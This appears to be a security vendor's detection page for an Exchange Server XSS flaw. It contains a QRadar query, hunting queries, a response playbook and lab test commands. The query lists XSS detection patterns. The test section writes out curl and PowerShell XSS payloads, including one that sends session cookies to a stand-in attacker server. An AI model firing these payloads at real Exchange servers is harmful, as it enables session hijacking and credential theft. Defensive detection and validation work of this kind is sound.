Detect Microsoft Exchange Server Cross-Site Scripting (XSS) Exploitation in IBM QRadar
Detects exploitation attempts targeting CVE-2026-42897, a Cross-Site Scripting (XSS) vulnerability in Microsoft Exchange Server. This KEV-listed vulnerability allows attackers to inject malicious scripts into Exchange web interfaces, potentially leading to session hijacking, credential theft, or further lateral movement within the environment. Detection focuses on anomalous HTTP requests to Exchange OWA/ECP endpoints containing XSS payloads, unexpected script execution from Exchange processes, and suspicious web request patterns indicative of active exploitation.
MITRE ATT&CK
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
sourceip,
username,
URL,
'XSS Payload Detected' AS detection_reason,
CASE
WHEN URL LIKE '%document.cookie%' THEN 'Critical'
WHEN URL LIKE '%<script%' THEN 'High'
ELSE 'Medium'
END AS severity
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) ILIKE '%IIS%'
AND (
URL LIKE '%/owa/%'
OR URL LIKE '%/ecp/%'
OR URL LIKE '%/ews/%'
OR URL LIKE '%/autodiscover/%'
)
AND (
URL ILIKE '%<script%'
OR URL ILIKE '%javascript:%'
OR URL ILIKE '%onerror=%'
OR URL ILIKE '%onload=%'
OR URL ILIKE '%eval(%'
OR URL ILIKE '%document.cookie%'
OR URL ILIKE '%fromCharCode%'
OR URL ILIKE '%%3Cscript%'
)
AND STARTTIME > NOW() - 86400000
ORDER BY starttime DESC
LIMIT 500QRadar AQL query detecting XSS payload patterns in HTTP requests to Microsoft Exchange OWA, ECP, EWS, and Autodiscover endpoints via IIS log sources.
Data Sources
Required Tables
False Positives & Tuning
- Vulnerability scanners performing authorized assessments of Exchange infrastructure
- Red team engagements that deliberately inject XSS test strings
- Application URL parameters containing encoded characters resembling XSS syntax
- WAF validation tools that replay known attack patterns for rule testing
Other platforms for CVE-2026-42897
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic Reflected XSS Probe Against Exchange OWA
Expected signal: IIS access log entry with HTTP GET or POST to /owa/auth/logon.aspx containing the URL-encoded XSS payload in cs-uri-query field; source IP of the test machine visible in c-ip field.
- Test 2Cookie-Stealing XSS Payload Delivery to Exchange ECP
Expected signal: IIS access log shows request to /ecp/ with onerror= and document.cookie in the query string, sc-status may be 200 or 400; network log may show outbound HTTP to attacker server if payload executes in a browser context.
- Test 3Encoded XSS Bypass Attempt Against Exchange Autodiscover
Expected signal: IIS access logs show multiple GET requests to /autodiscover/autodiscover.xml with encoded XSS strings in cs-uri-query; Windows PowerShell event log (Event ID 4104) may capture the script block execution.
Response Playbook
Triage
- Identify the source IP(s) generating requests with XSS payload patterns against Exchange endpoints (/owa/, /ecp/, /ews/) and determine if the IP is internal, external, or from a known scanner/testing tool.
- Review IIS access logs on the Exchange server for the identified source IP to establish timeline, frequency, and variety of payloads — distinguish reconnaissance (many payload variants, 4xx responses) from successful exploitation (200 responses with payload-containing parameters).
- Check Exchange Server application event logs (Event IDs 1007, 1009, MSExchange Front End HTTP Proxy) for anomalies coinciding with the detected XSS requests to confirm Exchange was the target.
- Determine if any Exchange user accounts were active on the affected OWA/ECP session at the time of the suspicious requests, as XSS exploitation may target authenticated sessions for cookie/token theft.
Containment
- If active exploitation is confirmed, immediately block the source IP at the network perimeter firewall or Exchange-fronting reverse proxy/WAF, and revoke any active OWA/ECP sessions for accounts that may have been exposed.
- Apply Microsoft's recommended Emergency Mitigation Service (EMS) rules for Exchange to temporarily block the XSS attack vector at the application layer while the permanent patch is applied — reference https://learn.microsoft.com/en-us/exchange/plan-and-deploy/post-installation-tasks/security-best-practices/exchange-emergency-mitigation-service.
Evidence Collection
- Export IIS logs from the Exchange server covering the attack window (C:\inetpub\logs\LogFiles\W3SVC*) and preserve them to an immutable location for forensic analysis, including all fields (cs-uri-query, cs-referer, cs-user-agent, sc-status).
- Capture Exchange HttpProxy logs (C:\Program Files\Microsoft\Exchange Server\V15\Logging\HttpProxy) and OWA logs to identify session tokens, cookies, or downstream actions taken after any successful XSS payload delivery.
Escalation Criteria
- !Escalate immediately if IIS logs show HTTP 200 responses to requests containing cookie-stealing payloads (document.cookie, XHR to external hosts), indicating successful session hijacking.
- !Escalate if post-exploitation activity is detected following the XSS event, such as unauthorized mailbox access, new Exchange transport rules, or external email forwarding rules created by potentially compromised accounts.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
IIS access logs at C:\inetpub\logs\LogFiles\W3SVC* containing XSS payload strings in cs-uri-query or cs-referer fields - >
Exchange HttpProxy logs at C:\Program Files\Microsoft\Exchange Server\V15\Logging\HttpProxy showing session activity - >
Browser-side artifacts on client machines including cached pages, cookies, and browser history showing OWA session activity during exploitation window - >
Network proxy/firewall logs showing outbound HTTP requests from client browsers to attacker-controlled domains if cookie exfiltration was successful
Tuning Guidance
Reduce false positives by excluding known vulnerability scanner IP ranges and internal security team source addresses. Tune XSS pattern matching to focus on high-confidence indicators (document.cookie, fromCharCode) rather than generic patterns like 'alert(' which commonly appear in legitimate monitoring payloads. If a WAF is deployed in front of Exchange, correlate WAF block logs with IIS logs — requests that reach IIS despite WAF rules represent higher-confidence detections. Adjust the HTTP status code filter to focus on 200 responses when available to reduce noise from blocked or rejected requests.
Hunting Queries
Threat hunt for anomalously long query strings in successful Exchange OWA/ECP responses over the past 7 days — a behavioral indicator of XSS payload delivery without matching known-bad signatures, useful for detecting novel payload encodings.
W3CIISLog
| where TimeGenerated > ago(7d)
| where csHost has_any ('exchange', 'owa', 'ecp')
| where csUriStem has_any ('/owa/', '/ecp/')
| where scStatus == 200
| where isnotempty(csUriQuery)
| extend PayloadLength = strlen(csUriQuery)
| where PayloadLength > 200
| summarize RequestCount=count(), UniqueIPs=dcount(cIp), MaxPayloadLen=max(PayloadLength) by bin(TimeGenerated, 1h), csUriStem
| where RequestCount > 5
| order by RequestCount descindex=iis sourcetype=iis
| where (cs_uri_stem="/owa/*" OR cs_uri_stem="/ecp/*")
| where sc_status=200
| eval query_len=len(cs_uri_query)
| where query_len > 200
| stats count as req_count, dc(c_ip) as unique_ips, max(query_len) as max_query_len by cs_uri_stem, date_hour
| where req_count > 5
| sort -req_countAtomic Red Team Tests
Sends a basic XSS probe to the Exchange OWA login endpoint to test if the vulnerability exists and whether the payload is reflected in the response. Lab environment only.
Command
curl -sk 'https://EXCHANGE_HOST/owa/auth/logon.aspx?url=https://EXCHANGE_HOST/owa/&reason=0' --data 'destination=https://EXCHANGE_HOST/owa/&flags=4&forcedownlevel=0&username=test&password=test&SubmitCreds=Sign+in&trusted=4' -H 'Content-Type: application/x-www-form-urlencoded' -G --data-urlencode 'xss_test=<script>alert(document.domain)</script>' -v 2>&1 | grep -A2 'xss_test'Cleanup
No cleanup required — this is a read-only probe that sends an HTTP request and does not modify server state.Expected Telemetry
IIS access log entry with HTTP GET or POST to /owa/auth/logon.aspx containing the URL-encoded XSS payload in cs-uri-query field; source IP of the test machine visible in c-ip field.
Expected Detection
Alert triggered by the kql/spl queries matching the <script pattern in the URI query string targeting an /owa/ endpoint.
Simulates a targeted cookie-theft XSS attack against the Exchange Admin Center (ECP) endpoint, using a payload that would exfiltrate session cookies to an attacker-controlled server. Lab use only — do not use against production.
Command
ATTACKER_SERVER='http://192.168.1.100:8080'; EXCHANGE_HOST='exchange-lab.local'; curl -sk -G "https://${EXCHANGE_HOST}/ecp/" --data-urlencode "xss=<img src=x onerror=\"document.location='${ATTACKER_SERVER}/?c='+document.cookie\">" -H 'Cookie: test_session=LABSESSION123' -v 2>&1 | tail -20Cleanup
Terminate any netcat listener started on attacker server: kill $(lsof -t -i:8080) 2>/dev/null || trueExpected Telemetry
IIS access log shows request to /ecp/ with onerror= and document.cookie in the query string, sc-status may be 200 or 400; network log may show outbound HTTP to attacker server if payload executes in a browser context.
Expected Detection
Critical-severity alert triggered by detection queries matching both onerror= and document.cookie patterns in request to /ecp/ endpoint.
Tests URL-encoded and HTML-entity-encoded XSS variants against the Exchange Autodiscover endpoint to assess whether encoding bypasses WAF or pattern-matching detection. Lab use only.
Command
powershell -Command "$payloads = @('%3Cscript%3Ealert(1)%3C/script%3E', '%6A%61%76%61%73%63%72%69%70%74%3Aalert(document.cookie)', '<script>alert(String.fromCharCode(88,83,83))</script>'); foreach ($p in $payloads) { $url = \"https://exchange-lab.local/autodiscover/autodiscover.xml?test=$p\"; Write-Output \"Testing: $url\"; try { Invoke-WebRequest -Uri $url -UseBasicParsing -ErrorAction SilentlyContinue | Select-Object StatusCode } catch {} }"Cleanup
No cleanup required — read-only HTTP requests with no server-side state modification.Expected Telemetry
IIS access logs show multiple GET requests to /autodiscover/autodiscover.xml with encoded XSS strings in cs-uri-query; Windows PowerShell event log (Event ID 4104) may capture the script block execution.
Expected Detection
Detection queries matching %3Cscript, %6A%61%76%61, and fromCharCode encoded patterns in requests to /autodiscover/ endpoint; encoding-aware rules should catch URL-encoded variants.